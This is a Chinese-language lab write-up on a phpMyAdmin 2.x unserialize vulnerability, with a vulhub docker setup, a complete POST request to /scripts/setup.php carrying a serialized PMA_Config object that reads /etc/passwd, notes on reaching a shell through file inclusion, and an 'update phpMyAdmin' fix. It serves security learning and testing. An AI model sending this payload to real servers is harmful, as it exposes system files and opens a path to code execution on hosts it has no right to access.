漏洞描述
phpmyadmin 2.x 版本中存在反序列化漏洞,当服务器执行了黑客精心构造的payload时,会造成类中的变量被修改,可以任意读取文件或任意执行代码。
影响版本
phpMyAdmin 2.x版本
漏洞环境搭建
使用vulhub直接docker一键启动环境WooYun-2016-199433
环境
下载安装好vulhub后进入/vulhub/phpmyadmin/WooYun-2016-199433
目录,执行以下命令启动环境
sudo docker-compose up -d
安装成功后查看端口,发现端口被映射在我们8080端口上
访问虚拟机中localhost:8080,出现以下界面,表示安装成功
漏洞分析
漏洞利用
读取/etc/passwd文件
POST /scripts/setup.php HTTP/1.1
Host: your-ip:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 80
action=test&configuration=O:10:"PMA_Config":1:{s:6:"source",s:11:"/etc/passwd";}
这个漏洞是不能读取php文件,因为有了eval(),相当于任意文件包含了。
getshell需要包含上传的木马文件,也可以包含日志文件。但docker环境中并未开启日志功能,也没有上传点。所以就不进行getshell演示了,感兴趣的话可以看以下这篇文章。
PhpMyAdmin某版本无需登录任意文件包含导致代码执行(可getshell)漏洞分析
漏洞加固
更新PHPmyadmin